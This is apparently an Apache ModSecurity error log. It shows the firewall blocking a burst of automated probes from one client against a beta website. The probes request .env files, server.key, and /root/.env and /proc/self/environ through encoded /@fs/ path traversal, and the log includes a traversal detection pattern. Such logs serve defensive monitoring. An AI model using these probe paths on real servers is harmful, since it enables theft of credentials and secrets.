[Mon Oct 26 14:54:26.932853 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:32944] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at-h4qFL9aMETz-8AU8c7gAAAAQ"]
[Mon Oct 26 14:54:26.933028 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:32944] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at-h4qFL9aMETz-8AU8c7gAAAAQ"]
[Mon Oct 26 14:54:26.933244 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.39.215.232:32944] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at-h4qFL9aMETz-8AU8c7gAAAAQ"]
[Mon Oct 26 14:54:26.934361 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:32828] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at-h4nNsi4cqo2ItOKeAegAAAAM"]
[Mon Oct 26 14:54:26.934505 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at-h4g7tQS1M73WECjKQmAAAAAY"]
[Mon Oct 26 14:54:26.934562 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:32828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at-h4nNsi4cqo2ItOKeAegAAAAM"]
[Mon Oct 26 14:54:26.934774 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:32828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at-h4nNsi4cqo2ItOKeAegAAAAM"]
[Mon Oct 26 14:54:26.934804 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at-h4g7tQS1M73WECjKQmAAAAAY"]
[Mon Oct 26 14:54:26.935069 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at-h4g7tQS1M73WECjKQmAAAAAY"]
[Mon Oct 26 14:54:26.944646 2026] [security2:error] [pid 3065808:tid 3065808] [client 34.39.215.232:32862] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at-h4tBD9nokEg9_vmbN-QAAAAk"]
[Mon Oct 26 14:54:26.944931 2026] [security2:error] [pid 3065808:tid 3065808] [client 34.39.215.232:32862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at-h4tBD9nokEg9_vmbN-QAAAAk"]
[Mon Oct 26 14:54:26.945276 2026] [security2:error] [pid 3065808:tid 3065808] [client 34.39.215.232:32862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at-h4tBD9nokEg9_vmbN-QAAAAk"]
[Mon Oct 26 14:54:27.090465 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at-h4yE-ZP4qhScpL9OPCQAAAAU"]
[Mon Oct 26 14:54:27.090922 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at-h4yE-ZP4qhScpL9OPCQAAAAU"]
[Mon Oct 26 14:54:27.091287 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at-h4yE-ZP4qhScpL9OPCQAAAAU"]
[Mon Oct 26 14:54:27.092214 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at-h42zmSpSsBytZ44hiAAAAAAg"]
[Mon Oct 26 14:54:27.092684 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at-h42zmSpSsBytZ44hiAAAAAAg"]
[Mon Oct 26 14:54:27.092969 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:32852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at-h42zmSpSsBytZ44hiAAAAAAg"]
[Mon Oct 26 14:54:27.367640 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at-h4yE-ZP4qhScpL9OPCgAAAAU"]
[Mon Oct 26 14:54:27.368104 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at-h4yE-ZP4qhScpL9OPCgAAAAU"]
[Mon Oct 26 14:54:27.368417 2026] [security2:error] [pid 3074873:tid 3074873] [client 34.39.215.232:41018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at-h4yE-ZP4qhScpL9OPCgAAAAU"]
[Mon Oct 26 14:54:27.383415 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:32914] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h42jM5XERzcmv0SW_nQAAAAs"]
[Mon Oct 26 14:54:27.383516 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:32914] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h42jM5XERzcmv0SW_nQAAAAs"]
[Mon Oct 26 14:54:27.383859 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:32914] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h42jM5XERzcmv0SW_nQAAAAs"]
[Mon Oct 26 14:54:27.383914 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at-h46rAMmuTbk6594wUjQAAAAA"]
[Mon Oct 26 14:54:27.384105 2026] [security2:error] [pid 3083957:tid 3083957] [client 34.39.215.232:32914] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-h42jM5XERzcmv0SW_nQAAAAs"]
[Mon Oct 26 14:54:27.384696 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at-h4w7tQS1M73WECjKQmQAAAAY"]
[Mon Oct 26 14:54:27.396316 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at-h4w7tQS1M73WECjKQmQAAAAY"]
[Mon Oct 26 14:54:27.396317 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at-h46rAMmuTbk6594wUjQAAAAA"]
[Mon Oct 26 14:54:27.396367 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at-h4w7tQS1M73WECjKQmQAAAAY"]
[Mon Oct 26 14:54:27.396377 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at-h46rAMmuTbk6594wUjQAAAAA"]
[Mon Oct 26 14:54:27.396422 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at-h4w7tQS1M73WECjKQmQAAAAY"]
[Mon Oct 26 14:54:27.396763 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at-h4w7tQS1M73WECjKQmQAAAAY"]
[Mon Oct 26 14:54:27.396768 2026] [security2:error] [pid 3077536:tid 3077536] [client 34.39.215.232:32890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at-h46rAMmuTbk6594wUjQAAAAA"]
[Mon Oct 26 14:54:27.397053 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:32836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at-h4w7tQS1M73WECjKQmQAAAAY"]
